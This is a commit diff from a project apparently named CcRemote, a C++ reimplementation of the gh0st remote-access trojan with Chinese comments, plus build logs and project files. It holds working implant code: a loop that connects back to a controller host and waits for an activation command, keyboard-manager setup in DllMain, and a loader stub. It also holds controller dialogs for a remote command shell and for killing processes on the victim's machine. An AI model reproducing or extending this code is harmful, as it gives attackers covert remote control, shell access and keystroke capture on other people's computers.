if (!socketClient.Connect(lpszHost, dwPort))
{
bBreakError = CONNECT_ERROR; //---连接错误跳出本次循环
continue;
}
// 登录
DWORD dwExitCode = SOCKET_ERROR;
sendLoginInfo(strServiceName, &socketClient, GetTickCount() - dwTickCount);
//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下
CKernelManager manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);
//socketClient中的主回调函数设置位这CKernelManager类中的OnReceive
//每个功能类都有OnReceive函数来处理接受的数据他们都继承自父类CManager
socketClient.setManagerCallBack(&manager);
//////////////////////////////////////////////////////////////////////////
// 等待控制端发送激活命令超时为10秒重新连接,以防连接错误
for (int i = 0; (i < 10 && !manager.IsActived()); i++)
{
Sleep(1000);
}
// 10秒后还没有收到控制端发来的激活命令说明对方不是控制端重新连接获取是否有效标志
if (!manager.IsActived())
continue;
//////////////////////////////////////////////////////////////////////////
DWORD dwIOCPEvent;
dwTickCount = GetTickCount();//获取时间戳
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, strKillEvent);
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while (hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
}
#ifdef _DLL
//////////////////////////////////////////////////////////////////////////
// Restor WindowStation and Desktop
// 不需要恢复卓面,因为如果是更新服务端的话,新服务端先运行,此进程恢复掉了卓面,会产生黑屏
// SetProcessWindowStation(hOldStation);
// CloseWindowStation(hWinSta);
//
//////////////////////////////////////////////////////////////////////////
#endif
SetErrorMode(0);
ReleaseMutex(hInstallMutex);
CloseHandle(hInstallMutex);
}
extern "C" __declspec(dllexport) void TestFun(char* strHost, int nPort)
{
strcpy(g_strHost, strHost); //保存上线地址
g_dwPort = nPort; //保存上线端口
HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)g_strHost, 0, NULL);
//这里等待线程结束
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
@@ -10,6 +182,10 @@ BOOL APIENTRY DllMain( HMODULE hModule,
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
CKeyboardManager::g_hInstance = (HINSTANCE)hModule;
//CKeyboardManager::m_dwLastMsgTime = GetTickCount();
//CKeyboardManager::Initialization();
break;
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;

View File

@@ -0,0 +1,3 @@
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe

View File

@@ -1,2 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,14 @@
g:\ccremote\ccremote\ccmaindll\testloaddll\release\vc141.pdb
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.obj
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.exe
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.pdb
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.ipdb
g:\ccremote\ccremote\ccmaindll\bin\server\testloaddll.exe\testloaddll.iobj
g:\ccremote\ccremote\ccmaindll\testloaddll\..\bin\server\testloaddll.exe\testloaddll.exe
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.command.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.read.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\cl.write.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.command.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.read.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\link.write.1.tlog
g:\ccremote\ccremote\ccmaindll\testloaddll\release\testloaddll.tlog\testloaddll.write.1u.tlog

View File

@@ -0,0 +1,6 @@
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
TestLoadDll.cpp
正在生成代码
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
已完成代码的生成
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe\TestLoadDll.exe

View File

@@ -0,0 +1,2 @@
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|

View File

@@ -0,0 +1,25 @@
// TestLoadDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
int main()
{
std::cout << "Hello World!\n";
char strHost[] = "127.0.0.1"; //声明上线地址
int nPort = 80; //声明上线端口
//载入服务端dll
HMODULE hServerDll = LoadLibrary(".\\..\\..\\bin\\server\\CcMainDll.dll");
//HMODULE hServerDll = LoadLibrary(".\server.dll");
//声明导出函数类型--导出的TestRun函数
typedef void(_cdecl *TestRunT)(char* strHost, int nPort);
//寻找dll中导出函数
TestRunT pTestRunT = (TestRunT)GetProcAddress(hServerDll, "TestFun");
//判断函数是否为空
if (pTestRunT != NULL)
{
pTestRunT(strHost, nPort); //调用这个函数
}
}

View File

@@ -0,0 +1,164 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>TestLoadDll</RootNamespace>
<WindowsTargetPlatformVersion>10.0.17763.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>..\..\bin\server</OutDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="TestLoadDll.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="TestLoadDll.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

Binary file not shown.

View File

@@ -0,0 +1,222 @@
// CShellDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CShellDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CShellDlg 对话框
IMPLEMENT_DYNAMIC(CShellDlg, CDialog)
CShellDlg::CShellDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SHELL, pParent)
{
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_nCurSel = 0;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_CMDSHELL));
}
CShellDlg::~CShellDlg()
{
}
void CShellDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_edit);
}
BEGIN_MESSAGE_MAP(CShellDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_EN_CHANGE(IDC_EDIT, &CShellDlg::OnEnChangeEdit)
ON_WM_CTLCOLOR()
END_MESSAGE_MAP()
// CShellDlg 消息处理程序
void CShellDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
CDialog::OnClose();
}
void CShellDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
ResizeEdit();
// TODO: 在此处添加消息处理程序代码
}
void CShellDlg::ResizeEdit(void)
{
if (m_edit.m_hWnd == NULL)
{
return;
}
RECT rectClient;
RECT rectEdit;
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_edit.MoveWindow(&rectEdit);
}
BOOL CShellDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
//得到当前窗口的数据大小 初始化时这个值应该为0
m_nCurSel = m_edit.GetWindowTextLength();
//得到服务端的IP并显示到窗口的标题上
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
str.Format("\\\\%s - 远程终端", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
// 通知远程控制端对话框已经打开
BYTE bToken = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
//---------改变窗口大小触发动态调整-------|
CRect rect;
GetWindowRect(&rect);
rect.bottom += 20;
MoveWindow(rect);
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CShellDlg::OnEnChangeEdit()
{
// TODO: 如果该控件是 RICHEDIT 控件,它将不
// 发送此通知,除非重写 CDialog::OnInitDialog()
// 函数并调用 CRichEditCtrl().SetEventMask()
// 同时将 ENM_CHANGE 标志“或”运算到掩码中。
int len = m_edit.GetWindowTextLength();
if (len < m_nCurSel)
m_nCurSel = len;
// TODO: 在此添加控件通知处理程序代码
}
HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
{
HBRUSH hbr = CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
// TODO: 在此更改 DC 的任何特性
if ((pWnd->GetDlgCtrlID() == IDC_EDIT) && (nCtlColor == CTLCOLOR_EDIT))
{
COLORREF clr = RGB(255, 255, 255);
pDC->SetTextColor(clr); //设置白色的文本
clr = RGB(0, 0, 0);
pDC->SetBkColor(clr); //设置黑色的背景
return CreateSolidBrush(clr); //作为约定,返回背景色对应的刷子句柄
}
else
{
return CDialog::OnCtlColor(pDC, pWnd, nCtlColor);
}
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
return hbr;
}
void CShellDlg::OnReceiveComplete(void)
{
AddKeyBoardData();
m_nReceiveLength = m_edit.GetWindowTextLength();
}
void CShellDlg::AddKeyBoardData(void)
{
// 最后填上0
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
CString strResult = (char*)m_pContext->m_DeCompressionBuffer.GetBuffer(0);
//替换掉原来的换行符 可能cmd 的换行同w32下的编辑控件的换行符不一致
strResult.Replace("\n", "\r\n");
//得到当前窗口的字符个数
int len = m_edit.GetWindowTextLength();
//将光标定位到该位置并选中指定个数的字符
m_edit.SetSel(len, len);
//用传递过来的数据替换掉该位置的字符
m_edit.ReplaceSel(strResult);
//重新得到字符的大小
m_nCurSel = m_edit.GetWindowTextLength();
//现在我们基本弄明白了 数据传输到主控端后的处理
//那主控端的数据时怎样传递到服务端上的呢??
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
}
BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
{
// TODO: 在此添加专用代码和/或调用基类
//如果是键盘按下
if (pMsg->message == WM_KEYDOWN)
{
// 屏蔽VK_ESCAPE、VK_DELETE
if (pMsg->wParam == VK_ESCAPE || pMsg->wParam == VK_DELETE)
return true;
//如果是可编辑框的回车键
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_edit.m_hWnd)
{
//得到窗口的数据大小
int len = m_edit.GetWindowTextLength();
CString str;
//得到窗口的字符数据
m_edit.GetWindowText(str);
//加入换行符
str += "\r\n";
//注意gh0st是怎样得到当前的数据的 得到整个的缓冲区再加上原有的字符的位置,其实就是用户当前输入的数据了
//然后将数据发送出去。。。。。。。。。。。。。。。 整个分析就完毕了。。。。。。
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
m_nCurSel = m_edit.GetWindowTextLength();
}
// 限制VK_BACK
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_edit.m_hWnd)
{
if (m_edit.GetWindowTextLength() <= m_nReceiveLength)
return true;
}
}
// Ctrl没按下
if (pMsg->message == WM_CHAR && GetKeyState(VK_CONTROL) >= 0)
{
int len = m_edit.GetWindowTextLength();
m_edit.SetSel(len, len);
// 用户删除了部分内容改变m_nCurSel
if (len < m_nCurSel)
m_nCurSel = len;
}
return CDialog::PreTranslateMessage(pMsg);
}

View File

@@ -0,0 +1,46 @@
#pragma once
#include "include/IOCPServer.h"
// CShellDlg 对话框
class CShellDlg : public CDialog
{
DECLARE_DYNAMIC(CShellDlg)
public:
CShellDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
virtual ~CShellDlg();
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_SHELL };
#endif
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:
CEdit m_edit;
private:
HICON m_hIcon;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
UINT m_nCurSel;
UINT m_nReceiveLength;
public:
afx_msg void OnClose();
afx_msg void OnSize(UINT nType, int cx, int cy);
void ResizeEdit(void);
virtual BOOL OnInitDialog();
afx_msg void OnEnChangeEdit();
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
void OnReceiveComplete(void);
private:
void AddKeyBoardData(void);
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
};

View File

@@ -0,0 +1,447 @@
// CSystemDlg.cpp: 实现文件
//
#include "pch.h"
#include "CcRemote.h"
#include "CSystemDlg.h"
#include "afxdialogex.h"
#include "..\..\common\macros.h"
// CSystemDlg 对话框
IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(IDD_SYSTEM, pParent)
{
m_iocpServer = pIOCPServer; //参数赋值给成员变量
m_pContext = pContext;
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
//这里判断是窗口管理还是进程管理因为进程管理的数据头是TOKEN_PSLIST
//窗口管理的数据头TOKEN_WSLIST 我们可以用这两个数据头来区分
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(0));
m_caseSyetemIs = lpBuffer[0];
}
CSystemDlg::~CSystemDlg()
{
}
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST_PROCESS_OR_WINDOW, m_list_process_or_windows);
}
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
ON_WM_SIZE()
ON_WM_CLOSE()
ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess)
ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist)
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS_OR_WINDOW, &CSystemDlg::OnNMRClickListProcess)
ON_COMMAND(ID_WINDOW_CLOST, &CSystemDlg::OnWindowClost)
ON_COMMAND(ID_WINDOW_HIDE, &CSystemDlg::OnWindowHide)
ON_COMMAND(ID_WINDOW_MAX, &CSystemDlg::OnWindowMax)
ON_COMMAND(ID_WINDOW_MIN, &CSystemDlg::OnWindowMin)
ON_COMMAND(ID_WINDOW_RETURN, &CSystemDlg::OnWindowReturn)
ON_COMMAND(ID_WINDOW_REFLUSH, &CSystemDlg::OnWindowReflush)
END_MESSAGE_MAP()
// CSystemDlg 消息处理程序
void CSystemDlg::AdjustList(void)
{
if (m_list_process_or_windows.m_hWnd == NULL)
{
return;
}
RECT rectClient;
RECT rectList;
GetClientRect(&rectClient);
rectList.left = 0;
rectList.top = 0;
rectList.right = rectClient.right;
rectList.bottom = rectClient.bottom;
m_list_process_or_windows.MoveWindow(&rectList);
}
void CSystemDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
AdjustList();
// TODO: 在此处添加消息处理程序代码
}
void CSystemDlg::OnClose()
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
CDialog::OnClose();
}
void CSystemDlg::GetProcessList(void)
{
BYTE bToken = COMMAND_PSLIST;
m_iocpServer->Send(m_pContext, &bToken, 1);
}
BOOL CSystemDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// TODO: 在此添加额外的初始化
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
CString str;
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); //得到连接的ip
str.Format("\\\\%s - 系统管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
SetWindowText(str);//设置对话框标题
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
{
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
m_list_process_or_windows.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
m_list_process_or_windows.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
m_list_process_or_windows.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
}
else if (m_caseSyetemIs == TOKEN_WSLIST)//窗口管理初始化列表
{
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
m_list_process_or_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
m_list_process_or_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
m_list_process_or_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 300);
ShowWindowsList();
}
AdjustList(); //各个列表的大小
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CSystemDlg::ShowProcessList(void)
{
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
char *strExeFile;
char *strProcessName;
DWORD dwOffset = 0;
CString str;
m_list_process_or_windows.DeleteAllItems();
//遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0
int i;
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
{
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset); //这里得到进程ID
strExeFile = lpBuffer + dwOffset + sizeof(DWORD); //进程名就是ID之后的
strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的
//数据结构构建巧妙
m_list_process_or_windows.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
str.Format("%5u", *lpPID);
m_list_process_or_windows.SetItemText(i, 1, str);
m_list_process_or_windows.SetItemText(i, 2, strProcessName);
// ItemData 为进程ID
m_list_process_or_windows.SetItemData(i, *lpPID);
dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环
}
str.Format("程序路径 / %d", i);
LVCOLUMN lvc;
lvc.mask = LVCF_TEXT;
lvc.pszText = str.GetBuffer(0);
lvc.cchTextMax = str.GetLength();
m_list_process_or_windows.SetColumn(2, &lvc); //在列表中显示有多少个进程
}
void CSystemDlg::OnKillprocess()
{
// TODO: 在此添加命令处理程序代码
CListCtrl *pListCtrl = NULL;
if (m_list_process_or_windows.IsWindowVisible())
pListCtrl = &m_list_process_or_windows;
else if (m_list_process_or_windows.IsWindowVisible())
pListCtrl = &m_list_process_or_windows;
else
return;
// TODO: Add your command handler code here
//非配缓冲区
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (pListCtrl->GetSelectedCount() * 4));
//加入结束进程的数据头
lpBuffer[0] = COMMAND_KILLPROCESS;
//显示警告信息
char *lpTips = "警告: 终止进程会导致不希望发生的结果,\n"
"包括数据丢失和系统不稳定。在被终止前,\n"
"进程将没有机会保存其状态和数据。";
CString str;
if (pListCtrl->GetSelectedCount() > 1)
{
str.Format("%s确实\n想终止这%d项进程吗?", lpTips, pListCtrl->GetSelectedCount());
}
else
{
str.Format("%s确实\n想终止该项进程吗?", lpTips);
}
if (::MessageBox(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1;
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
//得到要结束哪个进程
